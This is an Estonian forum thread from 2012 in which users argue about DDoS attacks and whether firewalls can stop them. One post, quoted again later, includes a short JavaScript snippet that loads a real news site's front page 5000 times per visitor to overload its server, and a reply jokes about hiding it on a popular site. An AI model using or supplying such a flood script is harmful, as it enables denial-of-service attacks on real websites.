|
Hinnavaatlus
:: Foorum
:: Uudised
:: Ärifoorumid
:: HV F1 ennustusvõistlus
:: Pangalink
:: Telekavad
:: HV toote otsing
|
|
| autor |
|
Tanel
HV Guru
liitunud: 01.10.2001
|
|
| Kommentaarid: 465 loe/lisa |
Kasutajad arvavad: |
   |
:: |
12 :: |
7 :: |
358 |
|
| tagasi üles |
|
 |
LKits
HV Guru
liitunud: 06.09.2007
|
|
| Kommentaarid: 13 loe/lisa |
Kasutajad arvavad: |
|
:: |
0 :: |
0 :: |
13 |
|
| tagasi üles |
|
|
vaegkuulja
Aeg maha 30
liitunud: 08.11.2007
|
14.10.2012 11:34:43
|
|
|
| LKits kirjutas: |
Võib tulla see üllatusena, aga tavalise lehitsejaga saab samuti DDoS rünnakut kodulehe vastu teha ning see rünnak võib olla peidetud tavakasutaja lehitsejasse.
Näide: Kasutaja läheb lehele X, kust antakse talle Javascript koodi läbi käsk koormata teist serverit. Kasutaja ei pruugi sellest vägagi aru saada ainult, et nett on aeglane. |
Just sellepärast tulebki alustada tulemüüridest milledel on ka layer 6 ja 7 kaitsed, ehk siis nad oskavad lugeda kõrgemaid protokolle ja on suutelised analüüsima ja blokeerima ründe iseloomuga liiklust kuni IP blokeerimiseni.
_________________
[img:]https://foorum.hinnavaatlus.ee/images/200x40_HV.gif[/img:] |
|
| Kommentaarid: 4 loe/lisa |
Kasutajad arvavad: |
|
:: |
2 :: |
0 :: |
1 |
|
| tagasi üles |
|
|
Some
HV vaatleja
liitunud: 07.11.2001
|
|
14.10.2012 11:39:46
|
|
|
| vaegkuulja kirjutas: |
| Some kirjutas: |
Miks sa arvad et see aitab? Ega sind ISP ründa, kui sa kasutad mitut toru, siis tuleb ka rünnak mitmest torust. |
Ja ongi kõigil torudel kaitse. Kui arvasid äkki et ainult ühel torul on kaitse. Et siis lapsed vallutavad kõik Eesti ISP'd ja koormavad botidega üle kogu eestisisese liikluse? Filme võiks vähem vaadata ja liigutada reaalse kaitse tõhustamiseks. |
Aaaaarghhh!!!! Miks peavad lapsed mingeid ISP-e vallutama? Sul kükitab kuskil mingi teenus millele peab olema avalik ligipääs. Rünnak tuleb samu kanaleid mööda mida kasutavad sinu tavalised kliendid. Ründajat absoluutselt ei huvita kes su ISP on ja kuidas liiklus sinu juurde ruuditud, mitu toru sul on jne... Kui su teenus on avalikkusele avatud, siis on see avatud ka ründajale. Sinu Checkpoint saab alles siis midagi teha kui ründaja poolt tekitatud traffic on väiksem kui sinu torude läbilase. Kujuta ette kui 10 tuhat pensionäri ühekorraga üritaksid läbi Toompea väravate pressida, tekiks ju pisike tropp? Kallid HV-lased, aidake talle seletada, minu seletusoskusest jääb hetkel väheks...
|
|
| Kommentaarid: 12 loe/lisa |
Kasutajad arvavad: |
|
:: |
0 :: |
1 :: |
9 |
|
| tagasi üles |
|
|
vaegkuulja
Aeg maha 30
liitunud: 08.11.2007
|
|
14.10.2012 11:49:55
|
|
|
| Some kirjutas: |
Aaaaarghhh!!!! Miks peavad lapsed mingeid ISP-e vallutama? Sul kükitab kuskil mingi teenus millele peab olema avalik ligipääs. Rünnak tuleb samu kanaleid mööda mida kasutavad sinu tavalised kliendid. Ründajat absoluutselt ei huvita kes su ISP on ja kuidas liiklus sinu juurde ruuditud, mitu toru sul on jne... Kui su teenus on avalikkusele avatud, siis on see avatud ka ründajale. Sinu Checkpoint saab alles siis midagi teha kui ründaja poolt tekitatud traffic on väiksem kui sinu torude läbilase. Kujuta ette kui 10 tuhat pensionäri ühekorraga üritaksid läbi Toompea väravate pressida, tekiks ju pisike tropp? Kallid HV-lased, aidake talle seletada, minu seletusoskusest jääb hetkel väheks... |
Selleks et toru ummistada peab olema ka mingi liiklus, ehk paketid peaksid saama vastuse, mida aga tulemüür ei anna. Pealegi ma ei usu et lapsed ühtegi toru ummistada suudaks ainult ühepoolsete pakettidega, juhul kui pole dial-up ühendus.
_________________
[img:]https://foorum.hinnavaatlus.ee/images/200x40_HV.gif[/img:] |
|
| Kommentaarid: 4 loe/lisa |
Kasutajad arvavad: |
|
:: |
2 :: |
0 :: |
1 |
|
| tagasi üles |
|
|
LKits
HV Guru
liitunud: 06.09.2007
|
|
14.10.2012 11:51:02
|
|
|
| vaegkuulja kirjutas: |
| LKits kirjutas: |
Võib tulla see üllatusena, aga tavalise lehitsejaga saab samuti DDoS rünnakut kodulehe vastu teha ning see rünnak võib olla peidetud tavakasutaja lehitsejasse.
Näide: Kasutaja läheb lehele X, kust antakse talle Javascript koodi läbi käsk koormata teist serverit. Kasutaja ei pruugi sellest vägagi aru saada ainult, et nett on aeglane. |
Just sellepärast tulebki alustada tulemüüridest milledel on ka layer 6 ja 7 kaitsed, ehk siis nad oskavad lugeda kõrgemaid protokolle ja on suutelised analüüsima ja blokeerima ründe iseloomuga liiklust kuni IP blokeerimiseni. |
Isegi, kui "ründe" iseloom on täiesti tavaline lehekülje koormamine täiesti tavaliste päringutega? Ehk siis tulemüür võtab ise lehekülje maha, sest too on ju rünnaku all ja rünnaku enda eesmärk on lehekülg maha saada.
Mission accomplished?
Ülimalt lihtne script, mis jooksutab nii mõnegi kasutaja neti kooma ja, kui scripti jooksutajaid on sadu või tuhandeid, siis palju õnne leheküljele - väga karm koormus tuleb taha:
<script type="text/javascript">
for(i=1;i<=5000;i++)
{ document.write('<img src="http://www.delfi.ee/index.php?' + Math.random() + '" width=1 height=1 border=0>');}
</script> |
Koodi eesmärk on kuvada 5000 pilti resolutsiooniga 1x1, mille sisu on Delfi pealeht. Pilti ennast ei eksisteeri, sest pilti sisu on värdjalik, aga Delfi server satub VÄGA ränga koormuse alla.
_________________
 itLahendused - Arvutite remont ja hooldus, veebilehtede loomine, soodne veebimajutus. Võta ühendust! Tel: +372 555 268 97 ja e-post info@itlahendused.ee |
|
| Kommentaarid: 13 loe/lisa |
Kasutajad arvavad: |
|
:: |
0 :: |
0 :: |
13 |
|
| tagasi üles |
|
|
Some
HV vaatleja
liitunud: 07.11.2001
|
|
14.10.2012 11:53:32
|
|
|
| vaegkuulja kirjutas: |
| Some kirjutas: |
Aaaaarghhh!!!! Miks peavad lapsed mingeid ISP-e vallutama? Sul kükitab kuskil mingi teenus millele peab olema avalik ligipääs. Rünnak tuleb samu kanaleid mööda mida kasutavad sinu tavalised kliendid. Ründajat absoluutselt ei huvita kes su ISP on ja kuidas liiklus sinu juurde ruuditud, mitu toru sul on jne... Kui su teenus on avalikkusele avatud, siis on see avatud ka ründajale. Sinu Checkpoint saab alles siis midagi teha kui ründaja poolt tekitatud traffic on väiksem kui sinu torude läbilase. Kujuta ette kui 10 tuhat pensionäri ühekorraga üritaksid läbi Toompea väravate pressida, tekiks ju pisike tropp? Kallid HV-lased, aidake talle seletada, minu seletusoskusest jääb hetkel väheks... |
Selleks et toru ummistada peab olema ka mingi liiklus, ehk paketid peaksid saama vastuse, mida aga tulemüür ei anna. Pealegi ma ei usu et lapsed ühtegi toru ummistada suudaks ainult ühepoolsete pakettidega, juhul kui pole dial-up ühendus. |
Tõstan käed. Uudishimust küsin kas töötad müügimehena või võrguadminnina?
|
|
| Kommentaarid: 12 loe/lisa |
Kasutajad arvavad: |
|
:: |
0 :: |
1 :: |
9 |
|
| tagasi üles |
|
|
vaegkuulja
Aeg maha 30
liitunud: 08.11.2007
|
|
14.10.2012 11:53:55
|
|
|
| LKits kirjutas: |
Ehk siis tulemüür võtab ise lehekülje maha, sest too on ju rünnaku all ja rünnaku enda eesmärk on lehekülg maha saada.
Mission accomplished?
|
Miks peaks tulemüür lehekülge maha võtma? Ei, ta võtab maha ainult sinu IP.
_________________
[img:]https://foorum.hinnavaatlus.ee/images/200x40_HV.gif[/img:] |
|
| Kommentaarid: 4 loe/lisa |
Kasutajad arvavad: |
|
:: |
2 :: |
0 :: |
1 |
|
| tagasi üles |
|
|
Some
HV vaatleja
liitunud: 07.11.2001
|
|
14.10.2012 11:55:42
|
|
|
| LKits kirjutas: |
| vaegkuulja kirjutas: |
| LKits kirjutas: |
Võib tulla see üllatusena, aga tavalise lehitsejaga saab samuti DDoS rünnakut kodulehe vastu teha ning see rünnak võib olla peidetud tavakasutaja lehitsejasse.
Näide: Kasutaja läheb lehele X, kust antakse talle Javascript koodi läbi käsk koormata teist serverit. Kasutaja ei pruugi sellest vägagi aru saada ainult, et nett on aeglane. |
Just sellepärast tulebki alustada tulemüüridest milledel on ka layer 6 ja 7 kaitsed, ehk siis nad oskavad lugeda kõrgemaid protokolle ja on suutelised analüüsima ja blokeerima ründe iseloomuga liiklust kuni IP blokeerimiseni. |
Isegi, kui "ründe" iseloom on täiesti tavaline lehekülje koormamine täiesti tavaliste päringutega? Ehk siis tulemüür võtab ise lehekülje maha, sest too on ju rünnaku all ja rünnaku enda eesmärk on lehekülg maha saada.
Mission accomplished?
Ülimalt lihtne script, mis jooksutab nii mõnegi kasutaja neti kooma ja, kui scripti jooksutajaid on sadu või tuhandeid, siis palju õnne leheküljele - väga karm koormus tuleb taha:
<script type="text/javascript">
for(i=1;i<=5000;i++)
{ document.write('<img src="http://www.delfi.ee/index.php?' + Math.random() + '" width=1 height=1 border=0>');}
</script> |
Koodi eesmärk on kuvada 5000 pilti resolutsiooniga 1x1, mille sisu on Delfi pealeht. Pilti ennast ei eksisteeri, sest pilti sisu on värdjalik, aga Delfi server satub VÄGA ränga koormuse alla. |
Paneks selle mõne popima pornolehe sortsu? 
|
|
| Kommentaarid: 12 loe/lisa |
Kasutajad arvavad: |
|
:: |
0 :: |
1 :: |
9 |
|
| tagasi üles |
|
|
Tanel
HV Guru
liitunud: 01.10.2001
|
|
14.10.2012 11:56:46
|
|
|
| vaegkuulja kirjutas: |
| LKits kirjutas: |
Ehk siis tulemüür võtab ise lehekülje maha, sest too on ju rünnaku all ja rünnaku enda eesmärk on lehekülg maha saada.
Mission accomplished?
|
Miks peaks tulemüür lehekülge maha võtma? Ei, ta võtab maha ainult sinu IP. |
Ja mis enne su tulemüüri toimub? Liiklus kaob iseenesest ära, kuna tulemüüris on blokeering peale pandud? 
_________________
Hinnavaatlus.ee - leia parim hind!
HV valuutakalkulaator |
|
| Kommentaarid: 465 loe/lisa |
Kasutajad arvavad: |
|
:: |
12 :: |
7 :: |
358 |
|
| tagasi üles |
|
|
LKits
HV Guru
liitunud: 06.09.2007
|
|
| Kommentaarid: 13 loe/lisa |
Kasutajad arvavad: |
|
:: |
0 :: |
0 :: |
13 |
|
| tagasi üles |
|
|
vaegkuulja
Aeg maha 30
liitunud: 08.11.2007
|
|
14.10.2012 12:02:13
|
|
|
| Tanel kirjutas: |
Ja mis enne su tulemüüri toimub? Liiklus kaob iseenesest ära, kuna tulemüüris on blokeering peale pandud? |
Jah, liiklus langeb ohutule tasemele. Üldiselt korralike seadmetega kaitstud asutuste servereid ei võta laste rünnakud maha. Kasvõi Pentagon või CIA. 
| LKits kirjutas: |
Reaalselt tulemüüril nende pakettide filtreerimine võtab ressurssi ja olen kindel, et isegi parimad tulemüürid jooksevad tuhandete ilusate pakettide analüüsimisel kokku. |
Ei jookse.
_________________
[img:]https://foorum.hinnavaatlus.ee/images/200x40_HV.gif[/img:] |
|
| Kommentaarid: 4 loe/lisa |
Kasutajad arvavad: |
|
:: |
2 :: |
0 :: |
1 |
|
| tagasi üles |
|
|
Tanel
HV Guru
liitunud: 01.10.2001
|
|
14.10.2012 12:02:25
|
|
|
| vaegkuulja kirjutas: |
| Tanel kirjutas: |
Ja mis enne su tulemüüri toimub? Liiklus kaob iseenesest ära, kuna tulemüüris on blokeering peale pandud? |
Jah, liiklus langeb ohutule tasemele. Üldiselt korralike seadmetega kaitstud asutuste servereid ei võta laste rünnakud maha. Kasvõi Pentagon või CIA. |
Et tulemüür lihtsalt ütleb paketile, et ära sina mind enam külasta ja paha pakett enam ei külastagi?
Mõtle nüüd ometi peaga.
_________________
Hinnavaatlus.ee - leia parim hind!
HV valuutakalkulaator |
|
| Kommentaarid: 465 loe/lisa |
Kasutajad arvavad: |
|
:: |
12 :: |
7 :: |
358 |
|
| tagasi üles |
|
|
vaegkuulja
Aeg maha 30
liitunud: 08.11.2007
|
|
14.10.2012 12:04:37
|
|
|
| Tanel kirjutas: |
| vaegkuulja kirjutas: |
| Tanel kirjutas: |
Ja mis enne su tulemüüri toimub? Liiklus kaob iseenesest ära, kuna tulemüüris on blokeering peale pandud? |
Jah, liiklus langeb ohutule tasemele. Üldiselt korralike seadmetega kaitstud asutuste servereid ei võta laste rünnakud maha. Kasvõi Pentagon või CIA. |
Et tulemüür lihtsalt ütleb paketile, et ära sina mind enam külasta ja paha pakett enam ei külastagi?
Mõtle nüüd ometi peaga. |
Ma arvan et mõtlemisega peaksid ikka need alustama keda on laste poolt rünnatud ja lolliks tehtud.
_________________
[img:]https://foorum.hinnavaatlus.ee/images/200x40_HV.gif[/img:] |
|
| Kommentaarid: 4 loe/lisa |
Kasutajad arvavad: |
|
:: |
2 :: |
0 :: |
1 |
|
| tagasi üles |
|
|
Tanel
HV Guru
liitunud: 01.10.2001
|
|
| Kommentaarid: 465 loe/lisa |
Kasutajad arvavad: |
|
:: |
12 :: |
7 :: |
358 |
|
| tagasi üles |
|
|
Some
HV vaatleja
liitunud: 07.11.2001
|
|
14.10.2012 12:07:22
|
|
|
| LKits kirjutas: |
| Tanel kirjutas: |
| vaegkuulja kirjutas: |
| LKits kirjutas: |
Ehk siis tulemüür võtab ise lehekülje maha, sest too on ju rünnaku all ja rünnaku enda eesmärk on lehekülg maha saada.
Mission accomplished?
|
Miks peaks tulemüür lehekülge maha võtma? Ei, ta võtab maha ainult sinu IP. |
Ja mis enne su tulemüüri toimub? Liiklus kaob iseenesest ära, kuna tulemüüris on blokeering peale pandud? |
Reaalselt tulemüüril nende pakettide filtreerimine võtab ressurssi ja olen kindel, et isegi parimad tulemüürid jooksevad tuhandete ilusate pakettide analüüsimisel kokku. |
No vaegkuulja lemmiksüsteem saab kuni 140Gbit/s liikluse filtreerimisega hakkama http://www.checkpoint.com/products/ias-bladed-hardware/index.html
Probleem on et selleks, et midagi filtreerida peab toru sinnani piisavalt läbi laskma. Nõrgim lüli annab järele.
|
|
| Kommentaarid: 12 loe/lisa |
Kasutajad arvavad: |
|
:: |
0 :: |
1 :: |
9 |
|
| tagasi üles |
|
|
vaegkuulja
Aeg maha 30
liitunud: 08.11.2007
|
|
14.10.2012 12:18:18
|
|
|
| Tanel kirjutas: |
| vaegkuulja, sa ei vastanud mu küsimusele |
Jah, paketid milledele vastust ei tule, koormavad võrku vähem. Esiteks jääb ainult download müüri poolt vaadates ning teiseks kui paketile vastust ei tule, siis jäädakse ootama ega tarvitseta alati kohe järgmist paketti saata, juhul kui tegemist kõrgema layeri paketiga. Samuti ei käsi keegi võtta ainult ühe ISP teenuse ja veel kõige aeglasema.
_________________
[img:]https://foorum.hinnavaatlus.ee/images/200x40_HV.gif[/img:] |
|
| Kommentaarid: 4 loe/lisa |
Kasutajad arvavad: |
|
:: |
2 :: |
0 :: |
1 |
|
| tagasi üles |
|
|
Tanel
HV Guru
liitunud: 01.10.2001
|
|
14.10.2012 12:20:11
|
|
|
| vaegkuulja kirjutas: |
| Tanel kirjutas: |
| vaegkuulja, sa ei vastanud mu küsimusele |
Jah, paketid milledele vastust ei tule, koormavad võrku vähem. Esiteks jääb ainult download müüri poolt vaadates ning teiseks kui paketile vastust ei tule, siis jäädakse ootama ega tarvitseta alati kohe järgmist paketti saata, juhul kui tegemist kõrgema layeri paketiga. Samuti ei käsi keegi võtta ainult ühe ISP teenuse ja veel kõige aeglasema. |
See vastus tuleks kuldvarasse raiuda 
Krt mulle hakkab järjest enam meeldima mõte, et rank siduda AM postituspiiranguga 
_________________
Hinnavaatlus.ee - leia parim hind!
HV valuutakalkulaator |
|
| Kommentaarid: 465 loe/lisa |
Kasutajad arvavad: |
|
:: |
12 :: |
7 :: |
358 |
|
| tagasi üles |
|
|
mikk36
HV Guru
liitunud: 21.02.2004
|
|
14.10.2012 12:21:02
|
|
|
| vaegkuulja, kui eesmärk on rünnata, siis ei huvitagi rünnaku tegijat paketi vastuse saamine, vaid saadetakse tuimalt üle ja üle päringuid. Kogu koormus tekitataksegi tulemüüri poolt vaadates download suunal ja selle kanali umbes hoidmisega hoitaksegi võrguteenus maas.
|
|
| Kommentaarid: 85 loe/lisa |
Kasutajad arvavad: |
|
:: |
0 :: |
2 :: |
78 |
|
| tagasi üles |
|
|
Tanel
HV Guru
liitunud: 01.10.2001
|
|
14.10.2012 12:21:07
|
|
|
| mikk36 kirjutas: |
| vaegkuulja, kui eesmärk on rünnata, siis ei huvitagi rünnaku tegijat paketi vastuse saamine, vaid saadetakse tuimalt üle ja üle päringuid. Kogu koormus tekitataksegi tulemüüri poolt vaadates download suunal ja selle kanali umbes hoidmisega hoitaksegi veebiteenus maas. |
Paremini poleks saanud öelda
_________________
Hinnavaatlus.ee - leia parim hind!
HV valuutakalkulaator |
|
| Kommentaarid: 465 loe/lisa |
Kasutajad arvavad: |
|
:: |
12 :: |
7 :: |
358 |
|
| tagasi üles |
|
|
LKits
HV Guru
liitunud: 06.09.2007
|
|
| Kommentaarid: 13 loe/lisa |
Kasutajad arvavad: |
|
:: |
0 :: |
0 :: |
13 |
|
| tagasi üles |
|
|
vaegkuulja
Aeg maha 30
liitunud: 08.11.2007
|
|
14.10.2012 12:29:30
|
|
|
| mikk36 kirjutas: |
| vaegkuulja, kui eesmärk on rünnata, siis ei huvitagi rünnaku tegijat paketi vastuse saamine, vaid saadetakse tuimalt üle ja üle päringuid. Kogu koormus tekitataksegi tulemüüri poolt vaadates download suunal ja selle kanali umbes hoidmisega hoitaksegi võrguteenus maas. |
Kõrgema layeri puhul on alati tarvis vastust enne järgmist protseduuri, kasvõi autentimine. Just neile pannakse rõhku selleks et vältida serverisse sissemurdmisi ja andmete vargusi, arvestades ka sellega et opsüsteemile pole värskendusi tehtud ja kaitsta on ka siis tarvis. DDOS ründed on üldse kõige labasemad, need ongi laste teema. DDOS ründe jaoks peab müüril olema piisavalt jõudlust.
_________________
[img:]https://foorum.hinnavaatlus.ee/images/200x40_HV.gif[/img:]
viimati muutis vaegkuulja 14.10.2012 12:30:35, muudetud 1 kord |
|
| Kommentaarid: 4 loe/lisa |
Kasutajad arvavad: |
|
:: |
2 :: |
0 :: |
1 |
|
| tagasi üles |
|
|
Tanel
HV Guru
liitunud: 01.10.2001
|
|
14.10.2012 12:31:31
|
|
|
vaegkuulja, loe nüüd miku teine lause uuesti läbi 
Keegi ei räägigi siin autentimisest või pakettide analüüsist (mida tulemüür peabki tegema), jutt käib sellest kui su toru enne tulemüüri umbe tõmmatakse, et välismaailma jaoks su veebileht maas tundub olema. Ja soovitus toru mahu suurendamiseks (küberrünnakute puhuks) on tragikoomiline Sa ikka tead kui palju maksavad korralikud kiired ühendused ning kui palju maksab korralik tulemüür või tulemüüride süsteem? Selliseid võimsaid süsteeme saavad lihtsustatult öeldes lubada endale vaid strateegilise tähtsusega riigiasutused ja rikkad eraasutused (näiteks pangad).
Lihtsate veebilehtede omanike (kellel pole seda pappi, et võimsat infrastruktuuri soetada) jaoks on lahendus vaid ISP-ide tasemel, kui analüüsivad pakette ja keelavad või piiravad taolist liiklust oma võrgus.
_________________
Hinnavaatlus.ee - leia parim hind!
HV valuutakalkulaator
viimati muutis Tanel 14.10.2012 12:38:47, muudetud 1 kord |
|
| Kommentaarid: 465 loe/lisa |
Kasutajad arvavad: |
|
:: |
12 :: |
7 :: |
358 |
|
| tagasi üles |
|
|
vaegkuulja
Aeg maha 30
liitunud: 08.11.2007
|
|
14.10.2012 12:35:01
|
|
|
| Tanel kirjutas: |
vaegkuulja, loe nüüd miku teine lause uuesti läbi
Keegi ei räägigi siin autentimisest või pakettide analüüsist (mida tulemüür peabki tegema), jutt käib sellest kui su toru enne tulemüüri umbe tõmmatakse, et välismaailma jaoks su veebileht maas tundub olema. |
Aga selleks ongi vaja rohkem torusid ja suuremat läbilskevõimet. Ma varem just mainisingi et mitme toru korraga kasutamine ongi hea tulemüüri võimalus ja CheckPointil on see võimalus olemas.
_________________
[img:]https://foorum.hinnavaatlus.ee/images/200x40_HV.gif[/img:] |
|
| Kommentaarid: 4 loe/lisa |
Kasutajad arvavad: |
|
:: |
2 :: |
0 :: |
1 |
|
| tagasi üles |
|
|
KohviPaus
Kreisi kasutaja
liitunud: 29.01.2012
|
|
14.10.2012 12:38:22
|
|
|
Mis see tüüp räägib tõsiselt või? 
|
|
| Kommentaarid: 14 loe/lisa |
Kasutajad arvavad: |
|
:: |
1 :: |
1 :: |
12 |
|
| tagasi üles |
|
|
|
:: KKK
:: otsing 
:: statistika
:: kasutajate nimekiri
:: kasutajate grupid
:: registreeri
teata moderaatorile
Spoiler 
